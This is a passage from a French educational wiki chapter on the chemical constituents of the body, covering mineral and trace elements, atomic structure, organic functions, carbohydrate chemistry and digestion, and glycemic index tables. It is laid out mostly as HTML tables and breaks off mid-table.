<td bgcolor="#ffcc00" width="74"> <p class="western" align="justify" lang="fr-FR"><b>Symbole</b></p> </td> <td bgcolor="#ffcc00" width="479"> <p class="western" align="justify" lang="fr-FR"><b>Fonctions particulières</b></p> </td> </tr> <tr valign="top"> <td width="102"> <p class="western" align="justify" lang="en-GB">Calcium</p> </td> <td width="74"> <p class="western" align="justify" lang="fr-FR"><span lang="en-GB">Ca (Ca<sup>2+</sup>)</span></p> </td> <td width="479"> <p class="western" align="justify" lang="fr-FR"><font style="font-size: 8pt;" size="1">Composant des os et des dents. Intervient dans de nombreux processus physiologiques (contraction musculaire, coagulation du sang).</font></p> </td> </tr> <tr valign="top"> <td width="102"> <p class="western" align="justify" lang="de-DE">Chlore</p> </td> <td width="74"> <p class="western" align="justify" lang="fr-FR"><span lang="de-DE">Cl (Cl<sup>-</sup>)</span></p> </td> <td width="479"> <p class="western" align="justify" lang="fr-FR"><font style="font-size: 8pt;" size="1">Anion le plus important dans la neutralité électrique</font></p> </td> </tr> <tr valign="top"> <td width="102"> <p class="western" align="justify" lang="fr-FR">Magnésium</p> </td> <td width="74"> <p class="western" align="justify" lang="fr-FR">Mg (Mg<sup>2+</sup>)</p> </td> <td width="479"> <p class="western" align="justify" lang="fr-FR"><font style="font-size: 8pt;" size="1">Composant des os. Rôle dans de nombreuses réactions chimiques (transmission neuromusculaire par exemple)</font></p> </td> </tr> <tr valign="top"> <td width="102"> <p class="western" align="justify" lang="en-GB">Phosphore</p> </td> <td width="74"> <p class="western" align="justify" lang="fr-FR"><span lang="en-GB">P (P<sup>3-</sup>)</span></p> </td> <td width="479"> <p class="western" align="justify" lang="fr-FR"><font style="font-size: 8pt;" size="1">Composant des os et des dents. Présent dans l’ATP (Adénosine Tri Phosphate), dans les Acides Nucléiques et les Phospholipides</font></p> </td> </tr> <tr valign="top"> <td width="102"> <p class="western" align="justify" lang="fr-FR">Potassium</p> </td> <td width="74"> <p class="western" align="justify" lang="fr-FR">K (K<sup>+</sup>)</p> </td> <td width="479"> <p class="western" align="justify" lang="fr-FR"><font style="font-size: 8pt;" size="1">Principal cation intracellulaire, important dans les potentiels trans-membranaires et dans la contraction des cellules musculaires.</font></p> </td> </tr> <tr valign="top"> <td width="102"> <p class="western" align="justify" lang="nl-NL">Sodium</p> </td> <td width="74"> <p class="western" align="justify" lang="fr-FR"><span lang="nl-NL">Na (Na<sup>+</sup>)</span></p> </td> <td width="479"> <p class="western" style="page-break-after: avoid;" align="justify" lang="fr-FR"> <font style="font-size: 8pt;" size="1">Principal cation extracellulaire, important dans les potentiels trans-membranaires.</font></p> </td> </tr> </table> ==== Les oligo-éléments ==== Ce sont des éléments présents en très petites quantités dans l’organisme. Il s’agit du cuivre, du cobalt, du manganèse, du zinc, du fer, du fluor, du silicium, du silicium, du molybdène, du chlore, etc. <center> <table border="1" bordercolor="#000000" cellpadding="5" cellspacing="0" width="497"> <tr valign="top"> <td bgcolor="#ffcc00" height="15" width="90"> <p class="western" align="justify" lang="fr-FR"><b>Elément</b></p> </td> <td bgcolor="#ffcc00" width="386"> <p class="western" align="justify" lang="fr-FR"><b>Fonctions particulières</b></p> </td> </tr> <tr valign="top"> <td height="16" width="90"> <p class="western" align="justify" lang="fr-FR">Fer</p> </td> <td width="386"> <p class="western" align="justify" lang="fr-FR">Entre dans la composition de l’hémoglobine, des enzymes</p> </td> </tr> <tr valign="top"> <td height="16" width="90"> <p class="western" align="justify" lang="fr-FR">Iode</p> </td> <td width="386"> <p class="western" align="justify" lang="fr-FR">Intervient dans le fonctionnement de la thyroïde</p> </td> </tr> <tr valign="top"> <td height="16" width="90"> <p class="western" align="justify" lang="fr-FR">Fluor</p> </td> <td width="386"> <p class="western" align="justify" lang="fr-FR">Intervient dans la composition des dents</p> </td> </tr> <tr valign="top"> <td height="16" width="90"> <p class="western" align="justify" lang="fr-FR">Zinc</p> </td> <td width="386"> <p class="western" align="justify" lang="fr-FR">Nécessaire à la synthèse de l’hémoglobine</p> </td> </tr> <tr valign="top"> <td height="15" width="90"> <p class="western" align="justify" lang="fr-FR">Cuivre</p> </td> <td width="386"> <p class="western" style="page-break-after: avoid;" align="justify" lang="fr-FR"> Entre dans la composition des enzymes cellulaires</p> </td> </tr> </table> </center> == Les Constituants Organiques == === Généralités === ==== Composition de la matière organique ==== La matière organique est composée de carbone, hydrogène, oxygène, azote, phosphore, soufre. <table border="1" bordercolor="#000000" cellpadding="5" cellspacing="0" width="690"> <tr valign="top"> <td bgcolor="#ffcc00" width="96"> <p class="western" align="justify" lang="fr-FR"><b>Elément</b></p> </td> <td bgcolor="#ffcc00" width="125"> <h5 class="western" lang="fr-FR">Symbole</h5> </td> <td bgcolor="#ffcc00" width="437"> <p class="western" align="justify" lang="fr-FR"><b>Fonctions particulières</b></p> </td> </tr> <tr valign="top"> <td width="96"> <p class="western" align="justify" lang="fr-FR">Carbone</p> </td> <td width="125"> <p class="western" align="center" lang="fr-FR">C</p> </td> <td width="437"> <p class="western" align="justify" lang="fr-FR"><font style="font-size: 8pt;" size="1">Entre dans la composition des glucides, lipides, protides et acides nucléiques</font></p> </td> </tr> <tr valign="top"> <td width="96"> <p class="western" align="justify" lang="fr-FR">Hydrogène</p> </td> <td width="125"> <p class="western" align="center" lang="fr-FR">H</p> </td> <td width="437"> <p class="western" align="justify" lang="fr-FR"><font style="font-size: 8pt;" size="1">Entre dans la composition des chaînes carbonées (donc de toutes les molécules organiques) et de l’eau</font></p> </td> </tr> <tr valign="top"> <td width="96"> <p class="western" align="justify" lang="fr-FR">Oxygène</p> </td> <td width="125"> <p class="western" align="center" lang="fr-FR">O</p> </td> <td width="437"> <p class="western" align="justify" lang="fr-FR"><font style="font-size: 8pt;" size="1">Entre dans la composition des glucides, lipides, protides, acides nucléiques, de l’eau. Gaz indispensable pour la respiration (O2).</font></p> </td> </tr> <tr valign="top"> <td width="96"> <p class="western" align="justify" lang="fr-FR">Azote</p> </td> <td width="125"> <p class="western" align="center" lang="fr-FR">N</p> </td> <td width="437"> <p class="western" align="justify" lang="fr-FR"><font style="font-size: 8pt;" size="1">Entre dans la composition des acides nucléiques et des protides</font></p> </td> </tr> <tr valign="top"> <td width="96"> <p class="western" align="justify" lang="fr-FR">Phosphore</p> </td> <td width="125"> <p class="western" align="center" lang="fr-FR">P</p> </td> <td width="437"> <p class="western" align="justify" lang="fr-FR"><font style="font-size: 8pt;" size="1">Entre dans la composition des acides nucléiques et des phospholipides</font></p> </td> </tr> <tr valign="top"> <td width="96"> <p class="western" align="justify" lang="fr-FR">Soufre</p> </td> <td width="125"> <p class="western" align="center" lang="fr-FR">S</p> </td> <td width="437"> <p class="western" style="page-break-after: avoid;" align="justify" lang="fr-FR"> <font style="font-size: 8pt;" size="1">Entre dans la composition des acides aminés soufrés</font></p> </td> </tr> </table> Tous ces éléments entrent dans la classe des atomes ou éléments atomiques. [[Image:Image014constituants.gif]] Le noyau contient : les protons et les neutrons. Autour du noyau se trouvent les électrons qui constituent le nuage électronique. Ces électrons sont répartis en niveaux énergétiques ou couches électroniques : K (contient jusqu’à 2 électrons), L (8 électrons), M, N. <table border="1" bordercolor="#000000" cellpadding="5" cellspacing="0" width="686"> <tr> <td bgcolor="#ffcc00" height="15" width="114"> <p class="western" align="center" lang="fr-FR"><b>Nom de l’atome</b></p> </td> <td bgcolor="#ffcc00" width="58"> <p class="western" align="center" lang="fr-FR"><font style="font-size: 8pt;" size="1"><b>Symbole</b></font></p> </td> <td bgcolor="#ffcc00" width="58"> <p class="western" align="center" lang="fr-FR"><font style="font-size: 8pt;" size="1"><b>Nbre masse</b></font></p> </td> <td bgcolor="#ffcc00" width="58"> <p class="western" align="center" lang="fr-FR"><font style="font-size: 8pt;" size="1"><b>N° atomique</b></font></p> </td> <td bgcolor="#ffcc00" width="58"> <p class="western" align="center" lang="fr-FR"><font style="font-size: 8pt;" size="1"><b>Protons</b></font></p> </td> <td bgcolor="#ffcc00" width="58"> <p class="western" align="center" lang="fr-FR"><font style="font-size: 8pt;" size="1"><b>Electrons</b></font></p> </td> <td bgcolor="#ffcc00" width="58"> <p class="western" align="center" lang="fr-FR"><font style="font-size: 8pt;" size="1"><b>Neutron</b></font></p> </td> <td bgcolor="#ffcc00" width="38"> <p class="western" align="center" lang="fr-FR"><font style="font-size: 8pt;" size="1"><b>Valence</b></font></p> </td> <td bgcolor="#ffcc00" width="95"> <h4 class="western" align="center" lang="fr-FR"><font size="1">bNuage électronique</font></h4> </td> </tr> <tr valign="top"> <td height="16" width="114"> <p class="western" align="justify" lang="fr-FR">Carbone</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">C</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">12</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">6</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">6</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">6</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">6</p> </td> <td width="38"> <p class="western" align="center" lang="fr-FR">4</p> </td> <td width="95"> <p class="western" align="center" lang="fr-FR">K<sup>2</sup>L<sup>4</sup></p> </td> </tr> <tr valign="top"> <td height="16" width="114"> <p class="western" align="justify" lang="fr-FR">Hydrogène</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">H</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">1</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">1</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">1</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">1</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">0</p> </td> <td width="38"> <p class="western" align="center" lang="fr-FR">1</p> </td> <td width="95"> <p class="western" align="center" lang="fr-FR">K<sup>1</sup></p> </td> </tr> <tr valign="top"> <td height="16" width="114"> <p class="western" align="justify" lang="fr-FR">Oxygène</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">O</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">16</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">8</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">8</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">8</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">8</p> </td> <td width="38"> <p class="western" align="center" lang="fr-FR">2</p> </td> <td width="95"> <p class="western" align="center" lang="fr-FR">K<sup>2</sup>L<sup>6</sup></p> </td> </tr> <tr valign="top"> <td height="16" width="114"> <p class="western" align="justify" lang="en-GB">Azote</p> </td> <td width="58"> <p class="western" align="center" lang="en-GB">N</p> </td> <td width="58"> <p class="western" align="center" lang="en-GB">14</p> </td> <td width="58"> <p class="western" align="center" lang="en-GB">7</p> </td> <td width="58"> <p class="western" align="center" lang="en-GB">7</p> </td> <td width="58"> <p class="western" align="center" lang="en-GB">7</p> </td> <td width="58"> <p class="western" align="center" lang="en-GB">7</p> </td> <td width="38"> <p class="western" align="center" lang="en-GB">3</p> </td> <td width="95"> <p class="western" align="center" lang="fr-FR"><span lang="en-GB">K<sup>2</sup>L<sup>5</sup></span></p> </td> </tr> <tr valign="top"> <td height="16" width="114"> <p class="western" align="justify" lang="en-GB">Phosphore</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">P</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">31</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">15</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">15</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">15</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">16</p> </td> <td width="38"> <p class="western" align="center" lang="fr-FR">3</p> </td> <td width="95"> <p class="western" align="center" lang="fr-FR">K<sup>2</sup>L<sup>8</sup>M<sup>5</sup></p> </td> </tr> <tr valign="top"> <td height="15" width="114"> <p class="western" align="justify" lang="fr-FR">Soufre</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">S</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">32</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">16</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">16</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">16</p> </td> <td width="58"> <p class="western" align="center" lang="fr-FR">16</p> </td> <td width="38"> <p class="western" align="center" lang="fr-FR">2</p> </td> <td width="95"> <p class="western" style="page-break-after: avoid;" align="center" lang="fr-FR"> K<sup>2</sup>L<sup>8</sup>M<sup>6</sup></p> </td> </tr> </table> Pour acquérir la structure du gaz rare le plus proche, l’élément atomique partage un ou plusieurs électrons avec un autre élément atomique, et ce en fonction de sa valence. Entre ces 2 éléments, il pourra s’établir une liaison de covalence. Il existe un autre moyen d’acquérir la structure du gaz rare le plus proche : par gain ou perte d’électrons. En cas de perte d’électrons, la charge globale devient positive, on obtient un cation. En cas de gain, la charge devient négative, on a alors affaire à un anion. ==== Cas particulier du carbone ==== Valence du Carbone = 4 → 4 liaisons de covalence possibles [[Image:Image016constituants.gif]] Lorsque les 4 valences du carbone tétragonal portent des radicaux différents (R1 à R4), le carbone est dit asymétrique et se note C*. [[Image:Image018constituants.gif]] Les deux molécules de la figure ci-dessus « asymétrie du carbone tétravalent » sont les images l’une de l’autre dans un miroir plan mais ne sont pas superposables : ce sont des énantiomères (ou isomères optiques). Pour vérifier l’existence d’énantiomères, on recherche la présence de carbone asymétrique. Deux énantiomères possèdent la même formule brute : ce sont des isomères avec un C*. [[Image:Panneau attention 20.png]] 2 molécules non superposables sont appelées [[w:chirale|chirales]]. [[Image:exemple.gif]] : les 2 mains d’un individus sont [[w:chirale|chirales]]. ==== Les principales fonctions organiques ==== On appelle radical un groupement fonctionnel n’intervenant pas dans la fonction principale. <table border="1" bordercolor="#000000" cellpadding="5" cellspacing="0" width="686"> <tr valign="top"> <td bgcolor="#ffcc00" width="154"> <p class="western" align="justify" lang="fr-FR"><b>Fonction organique</b></p> </td> <td bgcolor="#ffcc00" width="198"> <p class="western" align="center" lang="fr-FR"><b>schémas</b></p> </td> <td bgcolor="#ffcc00" width="303"> <p class="western" align="justify" lang="fr-FR"><b>Remarques, définitions</b></p> </td> </tr> <tr valign="top"> <td width="154"> <p class="western" align="justify" lang="fr-FR">Alcool</p> </td> <td width="198"> <p class="western" align="center" lang="fr-FR"> [[Image:Image020constituants.gif]]</p> </td> <td width="303"> <p class="western" align="justify" lang="fr-FR"><font style="font-size: 8pt;" size="1">Les fonctions alcools sont des fonctions organiques pour lesquelles un groupe hydroxyle est porté par un atome de carbone tétragonal (lui-même lié à des atomes par 4 liaisons simples). On distingue les alcools I, II et III.</font></p> </td> </tr> <tr valign="top"> <td width="154"> <p class="western" align="justify" lang="fr-FR">Aldéhyde et cétone</p> </td> <td width="198"> <p class="western" align="center" lang="fr-FR"> [[Image:Image022constituants.gif]]</p> </td> <td width="303"> <p class="western" align="justify" lang="fr-FR"><font style="font-size: 8pt;" size="1">Les fonctions aldéhydes et cétones sont des fonctions organiques pour lesquelles le carbone fonctionnel porte un groupe carbonyle. Le carbone est trigonal. Selon la nature des radicaux, on distinguera la fonction aldéhyde ou la fonction cétone.</font></p> </td> </tr> <tr valign="top"> <td width="154"> <p class="western" align="justify" lang="fr-FR">Carboxylique</p> </td> <td width="198"> <p class="western" align="center" lang="fr-FR"> [[Image:Image024constituants.gif]]</p> </td> <td width="303"> <p class="western" align="justify" lang="fr-FR"><font style="font-size: 8pt;" size="1">Le carbone fonctionnel trigonal porte un groupe hydroxyle. Les molécules portant une fonction carboxylique présentent un caractère acide.</font></p> </td> </tr> <tr valign="top"> <td width="154"> <p class="western" align="justify" lang="fr-FR">Amine</p> </td> <td width="198"> <p class="western" align="center" lang="fr-FR"> [[Image:Image026constituants.gif]]</p> </td> <td width="303"> <p class="western" align="justify" lang="fr-FR">R' peut être égal à H </p> </td> </tr> <tr valign="top"> <td width="154"> <p class="western" align="justify" lang="fr-FR">Ester</p> </td> <td width="198"> <p class="western" align="center" lang="fr-FR"> [[Image:Image028constituants.gif]]</p> </td> <td width="303"> <p class="western" align="justify" lang="fr-FR"><br> </p> </td> </tr> <tr valign="top"> <td width="154"> <p class="western" align="justify" lang="fr-FR">Amide</p> </td> <td width="198"> <p class="western" align="center" lang="fr-FR"> [[Image:Image030constituants.gif]]</p> </td> <td width="303"> <p class="western" align="justify" lang="fr-FR"><br> </p> </td> </tr> <tr valign="top"> <td width="154"> <p class="western" align="justify" lang="fr-FR">Ether-oxyde</p> </td> <td width="198"> <p class="western" align="center" lang="fr-FR"> [[Image:Image032constituants.gif]]</p> </td> <td width="303"> <p class="western" style="page-break-after: avoid;" align="justify" lang="fr-FR"> <br> </p> </td> </tr> </table> === Les Glucides === ==== Définitions ==== Les glucides renferment C, H, O (composés ternaires) et accessoirement N et S. Le rapport H/O est toujours de 2/1. On distingue les molécules simples que l’on appelle oses et les molécules complexes : les osides. ==== Les Oses ==== ===== Définition ===== Les oses sont des polyols (ou polyalcools), c'est-à-dire qu’ils possèdent plusieurs fonctions alcool (I et II) et un groupement carbonyle : fonction aldéhyde ou cétone. *Les oses porteurs d’une fonction aldéhyde sont appelés des aldoses *Les oses porteurs d’une fonction cétone sont appelés des cétoses Un ose sera toujours défini par : *La fonction carbonyle *Le nombre (n) d’atomes de C contenu dans la molécule : **Si n=3 → triose **Si n=4 → tétrose **Si n=5 → pentose **Si n=6 → hexose [[Image:Panneau attention 20.png]] : CnH2nOn ou Cn(H2O)n d’où l’ancien nom des glucides : hydrates de carbone (exception avec le désoxyribose). [[Image:exemple.gif]] : si triose : C3H6O3, si hexose : C6H12O6 ===== Les aldoses ===== On appelle aldose un ose portant une fonction carbonyle aldéhydique sur le C n°1 (ou C1) et n-1 fonctions alcool dont une fonction alcool Iaire toujours portée par le Cn. [[Image:exemple.gif]] : Aldotriose C3H6O3 [[Image:Image034constituants.gif]] [[Image:exemple.gif]] : Aldotétrose C4H8O4 [[Image:Panneau attention 20.png]] *x.C* → 2^x énantiomères *1.C* → 2 énantiomères *2.C* → 4 énantiomères *3.C* → 8 énantiomères *4.C* → 16 énantiomères [[Image:Panneau attention 20.png]] Relation entre le nombre de C total et le nombre de C* : x = n – 2 n = nombre d’atomes de C total (attention, c'est vrai pour les aldoses mais pas pour les cétoses). [[Image:Image036constituants.gif]] L’aldose de la figure ci-dessus : « Formule semi-développée d’un C5H10O5 » possède x=n-2=5-2=3 C*, c'est à dire 2x=23=8 énantiomères possibles. [[Image:Panneau attention 20.png]] La plupart des oses naturels (aldoses ou cétoses) sont de la série D. [[Image:Image038constituants.gif]] ''Il pourrait être intéressant d'avoir ici la formule du désoxyribose'' Parmi les aldoses importants nous avons l'aldopentose ribose (constituant des acides nucléiques : ADN, ARN) et les aldohexoses glucose (Glc, faisant partie du diholoside saccharose) et galactose (présent dans le lait). ===== Les cétoses ===== Les cétoses sont des oses simples portant comme fonction principale la fonction cétone : [[Image:Image040constituants.gif]] La fonction cétone est portée par le carbone n°2 (C2). [[Image:Image042constituants.gif]] [[Image:Image044constituants.gif]] [[Image:Image046constituants.gif]] Dans le cas de la figure ci-dessus : « cétohexoses dont le fructose » nous avons 3.C*=23=8 isomères optiques. ===== Cyclisation des oses ===== Jusqu’à présent nous avons écrit la formule des oses sous forme d’une chaîne linéaire mais cette représentation n’est pas satisfaisante car elle ne permet pas d’expliquer un certain nombre d’observations. Il fallait donc envisager l’existence d’un atome de carbone asymétrique supplémentaire et Tollens proposa une structure où le carbone 1 du glucose devient asymétrique après l’apparition d’un cycle formé par l’élimination d’une molécule d’eau entre la fonction aldéhydique et l’hydroxyle porté par le carbone 5, créant ainsi un pont osidique (voir complément sur les liaisons osidiques dans le chapitre consacré aux Osides). [[Image:Image048constituants.gif]] Le cycle hexagonal n’est pas plan : en raison des angles de valence de l’atome de carbone, le cycle pyranique prend une conformation en bateau ou en chaise. Cette cyclisation donne naissance à deux nouveaux isomères  et  du fait de la naissance d'un nouveau C*. [[Image:Image050constituants.gif]] Il y a deux possibilités de cyclisation donnant deux formes différentes : la forme pyrane (voir figure ci-dessus : « passage du D-glucose de la forme linéaire à la forme glucopyranose ») et la forme furane. [[Image:Image052constituants.gif]] [[Image:Image054constituants.gif]] ==== Les osides ==== On distingue les holosides (polymères d’oses) et les hétérosides (constitués de l’association entre une fraction osidique et une fraction lipidique, protidique ou minérale). Nous ne parlerons ici que des holosides par opposition aux hétérosides). Selon le nombre d’oses constituant la chaîne, on parle de : *Diholosides (2 oses : n = 2) *Oligoholosides (n  10) *Polyholosides (n > 10) ===== Les diholosides ===== [[Image:Image056constituants.gif]] [[Image:exemple.gif]] : la liaison s'appellera 1,4 ou 1,6 selon que les oses  sont reliés entre eux par une liaison entre le C1 du premier ose et le C4 du second ou le C1 du premier ose et le C6 du second. [[Image:Image058constituants.gif]] [[Image:Panneau attention 20.png]] Les principaux diholosides sont le maltose (Glc 1,4 Glc) et le lactose (Gal 1,4 Glc) pour les diholosides réducteurs et le saccharose (Glc 12 Fruc) pour les diholosides non réducteurs. ===== Les polyholosides ===== Les polyholosides sont des polymères homogènes d'oses : enchaînement d'un nombre important d'unités identiques. Dans les cas d'études qui suivent, l'unité de base (ou monomère) est le glucose (Glc). Il existe trois exemples principaux : dans le monde végétal nous avons l'amidon et la cellulose (fibre alimentaire) et dans le monde animal le glycogène. Amidon et glycogène possèdent une structure proche car ils constituent la forme de réserve du glucose soit chez le végétal, soit chez l'animal. Ces 2 molécules dont constituées d'une polymérisation du glucose en 1,4 et en 1,6. [[Image:Image060constituants.gif]] ''Il serait intéressant d'avoir ici également la figure du glycogène'' [[Image:Panneau attention 20.png]] Formule brute de l'amidon : (C6H10O5)n [[Image:exemple.gif]] : Comparons la masse molaire de la molécule d'amidon avec celle du glucose. Prenons une molécule d'amidon à 50 résidus Glc. Amidon : M(C6H10O5)50=162x50=8100 g.mol-1 → macromolécule. Glucose : M(C6H12O6)=180 g.mol-1 → molécule simple. Pour la cellulose il s'agit d'un polymère de glucose en 1,4. Ces liaisons ne sont pas digérées par l'organisme humain car il existe une spécificité d'action des enzymes. Lors des processus de digestion alimentaire, l'amidon est tout d'abord dégradé en maltose par les amylases salivaires et pancréatiques. Ensuite, les maltases intestinales vont dégrader le maltose en glucose, glucose qui sera absorbé. [[Image:Image062constituants.gif]] Lors de besoin en glucose (le cerveau est un grand consommateur) il y a hydrolyse du glycogène en glucose afin d'augmenter la glycémie : c'est la glycogénolyse. [[Image:Panneau attention 20.png]] L'amidon peut être mis en évidence grâce au test à l'eau iodée. En présence d'amidon, la solution vire au bleu nuit. S'il n'y a pas d'amidon dans la solution, cette dernière reste jaune pâle car l'iode possède cette couleur. Le glycogène peut également être mis en évidence par le même procédé (couleur brun acajou). ==== Rôles==== Les glucides jouent 2 rôles important : *1.un rôle énergétique où 1g de glucose représente 17kJ. *2.un rôle structural et fonctionnel : les protéines, conjuguées aux glucides, leur donnent un rôle fonctionnel en entrant par exemple dans la composition des membranes cytoplasmiques ([[w:glycocalyx|glycocalyx]]). Les glycoprotéines entrent également dans la composition d'hormones ou des marqueurs cytogénétiques responsables des groupes sanguins. ==== Sources alimentaires ==== Le tableau ci-dessous est à revoir. En effet, on revient de plus en plus sur les caractéristiques désormais révolues de sucres '''lents''' et '''rapides'''. Désormais, il faut plutôt réfléchir sur les données de l'IG ou Indice Glycémique qui caractérise bien mieux les différents sucres, à savoir : un morceau de sucre classique ou un bout de pain blanc seront assimilés à la même vitesse. En revanche le pain complet sera assimilé sensiblement plus lentement que le pain blanc raffiné. La distinction entre sucre lents et sucres rapides devrait donc se faire au vu de l'IG des glucides en question. <table border="1" bordercolor="#000000" cellpadding="5" cellspacing="0" width="690"> <tr valign="top"> <td bgcolor="#ffcc00" height="19" width="219"> <p class="western" align="justify" lang="fr-FR">Sources alimentaires</p> </td> <td bgcolor="#ffcc00" width="220"> <p class="western" align="justify" lang="fr-FR">Sucres rapides</p> </td> <td bgcolor="#ffcc00" width="220"> <p class="western" align="justify" lang="fr-FR">Sucres lents</p> </td> </tr> <tr valign="top"> <td height="20" width="219"> <p class="western" align="justify" lang="fr-FR">sucre (blanc ou roux)</p> </td> <td width="220"> <p class="western" align="justify" lang="fr-FR">saccharose</p> </td> <td width="220"> <p class="western" align="justify" lang="fr-FR"><br> </p> </td> </tr> <tr valign="top"> <td height="20" width="219"> <p class="western" align="justify" lang="fr-FR">confiture</p> </td> <td width="220"> <p class="western" align="justify" lang="fr-FR">saccharose + fructose</p> </td> <td width="220"> <p class="western" align="justify" lang="fr-FR"><br> </p> </td> </tr> <tr valign="top"> <td height="20" width="219"> <p class="western" align="justify" lang="fr-FR">miel</p> </td> <td width="220"> <p class="western" align="justify" lang="fr-FR">fructose + glucose</p> </td> <td width="220"> <p class="western" align="justify" lang="fr-FR"><br> </p> </td> </tr> <tr valign="top"> <td height="20" width="219"> <p class="western" align="justify" lang="fr-FR">fruit</p> </td> <td width="220"> <p class="western" align="justify" lang="fr-FR">fructose + glucose</p> </td> <td width="220"> <p class="western" align="justify" lang="fr-FR">pectine</p> </td> </tr> <tr valign="top"> <td height="20" width="219"> <p class="western" align="justify" lang="fr-FR">légumes (feuilles)</p> </td> <td width="220"> <p class="western" align="justify" lang="fr-FR">glucose</p> </td> <td width="220"> <p class="western" align="justify" lang="fr-FR">cellulose</p> </td> </tr> <tr valign="top"> <td height="20" width="219"> <p class="western" align="justify" lang="fr-FR">légumes (racines)</p> </td> <td width="220"> <p class="western" align="justify" lang="fr-FR">saccharose + fructose + glucose</p> </td> <td width="220"> <p class="western" align="justify" lang="fr-FR">cellulose</p> </td> </tr> <tr valign="top"> <td height="20" width="219"> <p class="western" align="justify" lang="fr-FR">légumes secs</p> </td> <td width="220"> <p class="western" align="justify" lang="fr-FR"><br> </p> </td> <td width="220"> <p class="western" align="justify" lang="fr-FR">amidon + cellulose</p> </td> </tr> <tr valign="top"> <td height="20" width="219"> <p class="western" align="justify" lang="fr-FR">lait</p> </td> <td width="220"> <p class="western" align="justify" lang="fr-FR">lactose</p> </td> <td width="220"> <p class="western" align="justify" lang="fr-FR"><br> </p> </td> </tr> <tr valign="top"> <td height="20" width="219"> <p class="western" align="justify" lang="fr-FR">farine</p> </td> <td width="220"> <p class="western" align="justify" lang="fr-FR"><br> </p> </td> <td width="220"> <p class="western" align="justify" lang="fr-FR">amidon</p> </td> </tr> <tr valign="top"> <td height="20" width="219"> <p class="western" align="justify" lang="fr-FR">pain</p> </td> <td width="220"> <p class="western" align="justify" lang="fr-FR"><br> </p> </td> <td width="220"> <p class="western" align="justify" lang="fr-FR">amidon</p> </td> </tr> <tr valign="top"> <td height="20" width="219"> <p class="western" align="justify" lang="fr-FR">pâtes/riz</p> </td> <td width="220"> <p class="western" align="justify" lang="fr-FR"><br> </p> </td> <td width="220"> <p class="western" align="justify" lang="fr-FR">amidon</p> </td> </tr> <tr valign="top"> <td height="19" width="219"> <p class="western" align="justify" lang="fr-FR">pomme de terre</p> </td> <td width="220"> <p class="western" align="justify" lang="fr-FR"><br> </p> </td> <td width="220"> <p class="western" align="justify" lang="fr-FR">Amidon + cellulose</p> </td> </tr> </table> <table cellspacing="0" cellpadding="10" hspace="8" vspace="7" border="1" bordercolor="#CCCCCC"> <tr> <td colspan="2" bgcolor="#FFCc00"> <div align="center"><span class="date">GLUCIDES &Agrave; INDEX GLYC&Eacute;MIQUE &Eacute;L&Eacute;V&Eacute;</span></div> </td></tr> <tr> <td width="100" bgcolor="#F1F1F1" class="date">Index</td> <td bgcolor="#F1F1F1"><i class="date">Aliments</i></td> </tr> <tr> <td width="60" align="center" valign="middle" class="encadrer"> 110</td> <td class="basdepage">Maltose (bi&egrave;re)</td> </tr> <tr> <td width="100" align="center" valign="middle" class="encadrer">100</td> <td class="basdepage">Glucose</td> </tr> <tr> <td width="100" align="center" valign="middle" class="encadrer">95</td> <td class="basdepage">Pommes de terre cuites au four ou frites<br> P&acirc;tes &agrave; la farine de riz<br> Galettes de riz souffl&eacute;</td> </tr> <tr> <td width="100" align="center" valign="middle" class="encadrer">90</td> <td class="basdepage">Pur&eacute;e de pommes de terre<br> Riz instantan&eacute;<br> Miel</td> </tr> <tr> <td width="100" align="center" valign="middle" class="encadrer">85</td> <td class="basdepage">Carottes cuites<br> Flocons de ma&iuml;s, ma&iuml;s souffl&eacute;,<br> Farine T45 (pain tr&egrave;s blanc)<br> G&acirc;teau de riz</td> </tr> <tr> <td width="100" align="center" valign="middle" class="encadrer">80</td> <td class="basdepage">F&egrave;ves<br> Tapioca<br> Pain d&#146;&eacute;pices</td> </tr> <tr> <td width="100" align="center" valign="middle" class="encadrer">75</td> <td class="basdepage">Potiron, Citrouille<br> Farine T55 (baguette)<br> Rutabaga<br> Past&egrave;que</td> </tr> <tr> <td width="100" align="center" valign="middle" class="encadrer">70</td> <td class="basdepage">Croissant, petit pain au lait<br> Gnocchis<br> Pain de campagne (farine blanche T65)<br> C&eacute;r&eacute;ales sucr&eacute;es<br> Barre chocolat&eacute;e (type Mars)<br> Pommes de terre bouillies (sans peau)<br> Riz blanc pr&eacute;cuit incollable<br> Navet<br> Millet<br> Ma&iuml;zena<br> Soda sucr&eacute;, Cola<br> Sucre de canne ou de betterave (saccharose)</td> </tr> <tr> <td width="100" align="center" valign="middle" class="encadrer">65</td> <td class="basdepage">Pain bis (farine T85)<br> Pommes de terre cuites &agrave; l&#146;eau dans leur peau<br> Semoule raffin&eacute;e (couscous, taboul&eacute;)<br> Betterave<br> Banane, melon, ananas<br> Raisins secs<br> Confiture classique 50&nbsp;% sucre<br> Fruit au sirop <br> Jus d&#146;orange industriel</td> </tr> <tr> <td width="100" align="center" valign="middle" class="encadrer">60</td> <td class="basdepage">Riz long cuit 